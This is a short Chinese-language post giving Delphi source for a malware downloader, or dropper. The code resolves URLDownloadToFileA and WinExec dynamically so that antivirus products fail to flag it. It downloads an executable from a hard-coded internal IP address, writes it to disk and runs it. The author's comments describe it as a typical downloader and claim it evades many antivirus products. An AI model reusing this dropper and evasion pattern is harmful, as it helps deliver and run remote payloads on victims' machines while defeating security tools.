Delphi函数动态调用实现免杀
Delphi
源码免杀之函数动态调用实现免杀的下载者自己编译这份代码看看过N多杀软没什么技术含量只是发出来给不懂的人入入门也防止有新人老是来问
ShellApi,URLMon
单元
//Delphi动态调用API函数
procedure TForm1.Button1Click(Sender: TObject);
var
SourceFile:ansistring;
DestFile :ansistring;
down2:function(Caller: IUnknown; URL: PChar; FileName: PChar; Longint: DWORD;
StatusCB: IBindStatusCallback): Longint; stdcall;
exe2:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;
begin
SourceFile:='http://172.16.126.152/UrlDown/k8team.exe';
DestFile := 'f:\bbbaa.exe';
//原函数 下载完就执行,典型的下载者
//常用函数 是个杀软都会杀得你连路都不见
//UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil);
//WinExec(Pchar(DestFile),SW_SHOW);
//要和原函数对应
//动态调用
@Down2:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA');
Down2(nil, PChar(SourceFile), PChar(DestFile), 0, nil);
//动态调用
@exe2:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec');
exe2(PChar(DestFile),SW_SHOW);
end;
//=============================================================================================================== 附上函数原型
URLDownloadToFile
函数
function URLDownloadToFile; external UrlMonLib name 'URLDownloadToFileA';
UrlMonLib = 'URLMON.DLL';
function URLDownloadToFile(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: IBindStatusCallback): HResult; stdcall;
WinExec
函数
function WinExec; external kernel32 name 'WinExec';
kernel32 = 'kernel32.dll';
function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall;